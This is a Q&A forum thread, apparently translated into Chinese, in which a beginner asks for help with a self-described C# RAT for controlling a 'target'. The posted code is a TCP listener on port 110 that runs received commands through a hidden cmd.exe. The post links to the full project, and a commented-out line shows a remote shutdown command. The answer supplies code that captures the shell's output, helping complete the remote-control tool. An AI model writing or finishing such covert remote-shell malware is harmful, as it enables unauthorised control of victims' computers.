有关如何使用C#

时间:2017-08-11 12:46:49

标签: c# logging cmd

我是C#的新手,我正在尝试使用CMD编写一个控制目标(服务器)的RAT,但我遇到的问题是接收CMD日志。我的意思是例如当我输入" Dir"命令,该命令正在运行但我在客户端系统中没有收到Program Files - Users -......等日志。

连接服务器的方式是通过Telnet连接和110端口(可以更改)

连接到服务器后,有2个选项可用:

  1. Cmd(如果按下1,则CMD在目标中运行)

  2. 退出(很明显!)

  3. 当选择CMD时,您可以发送命令,但它不会显示任何内容,但您的命令将被发送和执行)。现在我上传我的文件(整个项目),这样你就可以看到源文件并可以修改它。

    在最后,我想说我会想知道是否有人可以帮助我解决我所说的错误(如果有可能发送修改后的项目,看看它是如何工作的)

    因为我是C#的新手,如果您能描述您修改的内容以及必要的内容,我将不胜感激。 你在这里

    http://www.mediafire.com/file/48pzlot8id9rmps/Rat.rar

    更新:这是我的计划来源:

                Process cmd = new Process();        
            TcpListener TL = new TcpListener(IPAddress.Any,110);
            TL.Start();
            Socket SK = TL.AcceptSocket();
            NetworkStream NS = new NetworkStream(SK);
    
            StreamReader SR = new StreamReader(NS);
            string Line;
            while (true)
    
            {
                Console.WriteLine("Select the Proper Operation");
                Console.WriteLine("1.CMD");
                Console.WriteLine("2.Exit");
                Line = "";
                Line = SR.ReadLine();
                //if (Line.Contains("Hello"))
                //    {
                //    Console.WriteLine("Hello World!!!!");
                //    }
                //if (Line.Contains("Shutdown"))
                //{
                //    Process.Start("shutdown", "/s /t 300");
                //}
                if (Line.Contains("2"))
                {
                    Environment.Exit(1);
                }
    
                if (Line.Contains("1"))
                {
                    cmd.StartInfo.FileName = "cmd.exe";
                    cmd.StartInfo.RedirectStandardInput = true;
                    cmd.StartInfo.RedirectStandardOutput = true;
                    cmd.StartInfo.CreateNoWindow = true;
                    cmd.StartInfo.UseShellExecute = false;
                    cmd.Start();
                    Console.WriteLine("Type Your Command");
                    string F;
                    F = SR.ReadLine();
                    cmd.StandardInput.WriteLine(F);
                    cmd.StandardInput.Flush();
                    cmd.StandardInput.Close();
                    cmd.WaitForExit();
                    Console.WriteLine(cmd.StandardOutput.ReadToEnd());
    

1 个答案:

答案 0 :(得分:0)

我不会向您发送完成的结果,但希望能找到解决此问题的解决方案。您可以通过附加到OutputDataReceived事件来访问命令窗口的输出:

...
if (Line.Contains("1"))
{
    cmd.StartInfo.FileName = "cmd.exe";
    cmd.StartInfo.RedirectStandardInput = true;
    cmd.StartInfo.RedirectStandardOutput = true;
    cmd.StartInfo.CreateNoWindow = true;
    cmd.StartInfo.UseShellExecute = false;
    cmd.Start();
    Console.WriteLine("Type Your Command");
    string F;
    F = SR.ReadLine();
    cmd.StandardInput.WriteLine(F);
    cmd.StandardInput.Flush();
    cmd.StandardInput.Close();

    cmd.OutputDataReceived += delegate(object o, DataReceivedEventArgs eventArgs)
    {
        var outputLine = eventArgs.Data;

        ...
    }

    cmd.WaitForExit();
    ...